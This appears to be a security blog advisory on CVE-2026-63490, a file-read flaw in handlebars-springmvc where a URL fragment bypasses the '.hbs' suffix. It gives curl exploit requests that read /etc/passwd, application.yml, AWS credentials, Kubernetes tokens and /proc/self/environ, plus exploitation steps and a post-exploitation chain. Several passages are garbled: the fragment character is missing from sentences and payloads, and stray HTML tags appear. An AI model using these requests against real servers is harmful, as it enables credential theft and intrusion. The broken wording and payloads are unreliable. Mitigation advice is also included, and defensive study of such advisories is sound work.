Listen to this Post
How CVE-2026-63490 Works
CVE-2026-63490 is an unauthenticated arbitrary file read vulnerability affecting the `handlebars-springmvc` library prior to version 4.5.3. The flaw exists in the `com.github.jknack.handlebars.springmvc.SpringTemplateLoader` class, which resolves Spring MVC view names into URLs via Spring’s ResourceLoader.
The core issue is the absence of a path-containment check in SpringTemplateLoader—a validation that is present in other URL-based loaders like ClassPathTemplateLoader, FileTemplateLoader, and ServletContextTemplateLoader. The only security boundary is the unconditional `.hbs` suffix appended to the view name by AbstractTemplateLoader.resolve(...). This suffix is meant to prevent a request like `view=file:/etc/passwd` from reading `/etc/passwd` instead of /etc/passwd.hbs.
The vulnerability is triggered by appending a single (URL fragment delimiter) to the view name. When the view name ends with, the appended `.hbs` suffix lands inside the URL fragment. Both Spring’s `FileUrlResource.exists()` (via URI.getSchemeSpecificPart()) and the JDK’s `URL.openStream()` (via URL.getFile()) silently discard the fragment. As a result, the file actually opened is the bare path the attacker specified (e.g., /etc/passwd) rather than /etc/passwd.hbs. The compiled “template” is then parsed and rendered into the HTTP response body.
The vulnerable code resides in `SpringTemplateLoader.resolve` (which preserves file:/classpath: protocols and applies the suffix) and `SpringTemplateLoader.getResource` (which lacks containment checks). In contrast, the hardened `ClassPathTemplateLoader.getResource` delegates to URLTemplateLoader.classpathResource(...), which includes the containment helper added by commit d177cdee. `HandlebarsViewResolver` strips the prefix/suffix and passes the attacker-controlled name to `handlebars.compile()` without validation.
DailyCVE Form:
Platform: `handlebars-springmvc`
Version: `< 4.5.3`
Vulnerability: `Arbitrary File Read`
Severity: `High (CVSS 7.5)`
Date: `2026-08-20`
Prediction: `2026-09-03 (Patched)`
What Undercode Say:
Check for vulnerable version in Maven project mvn dependency:tree | grep handlebars-springmvc Check for vulnerable version in Gradle project gradle dependencies | grep handlebars-springmvc Exploit request example (curl) curl "http://target.com/controller?view=file:/etc/passwd" Read application configuration curl "http://target.com/controller?view=file:/app/application.yml" Read cloud credentials curl "http://target.com/controller?view=file:/root/.aws/credentials" Read Kubernetes service account token curl "http://target.com/controller?view=file:/var/run/secrets/kubernetes.io/serviceaccount/token" Read process environment (CI/CD secrets) curl "http://target.com/controller?view=file:/proc/self/environ"
Exploit: (Educational Purposes!)
- Identify a Spring MVC controller endpoint that returns a user-influenced view name (e.g., via query parameter, path variable, or
DefaultRequestToViewNameTranslator). - Craft a malicious view name with a protocol prefix (
file:orclasspath:) followed by the target file path. - Append a
character to the end of the path (e.g., `file:/etc/passwd`).fragment.
<h2 style="color: blue;">4. The `HandlebarsViewResolver` passes this string to `handlebars.compile()`.</h2>
5. `SpringTemplateLoader` processes the path, and `AbstractTemplateLoader` appends `.hbs` after the - Spring’s `ResourceLoader` resolves the path, discarding the fragment (
.hbs). - The application parses and renders the contents of the target file as a Handlebars template.
- The HTTP response returns the sensitive file contents to the attacker.
Protection:
Upgrade: Update `com.github.jknack:handlebars-springmvc` to version 4.5.3 or higher.
Input Validation: In HandlebarsViewResolver.configure, reject view names containing :, “, or ...
Protocol Restriction: Remove or disable the file:/classpath: protocol short-circuit in SpringTemplateLoader.resolve, or require an explicit allow-list.
Containment Check: Apply the path-containment helper (from commit d177cdee) to SpringTemplateLoader.getResource.
Audit Controllers: Identify and refactor patterns where user input influences view names.
Restrict JVM Access: Limit the file system permissions of the JVM process to minimize the impact of successful exploitation.
Impact:
Direct: Unauthenticated arbitrary file read of any file readable by the JVM process UID.
Read application.yml: Extract `jwt.secret` / `spring.datasource.password` → forge admin JWT or connect directly to the database.
Read Cloud Credentials: AWS/GCP credentials → assume role → exfiltrate buckets, modify infrastructure.
Read K8s Tokens: Kubernetes service-account token → API-server access → namespace lateral movement, secret exfiltration.
Read `/proc/self/environ`: Harvest CI/CD-injected secrets.
Read Private Keys: id_rsa, TLS keys → impersonate host / decrypt traffic / sign commits.
Read Source Code: Discover further endpoints, hardcoded credentials, or attack chains.
Indirect: Reachable from any controller returning user-influenced view names—a documented Spring anti-pattern found in CMS preview endpoints, theme switchers, multi-tenant routing, `@RequestMapping(“/{view}”)` patterns, and DefaultRequestToViewNameTranslator.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
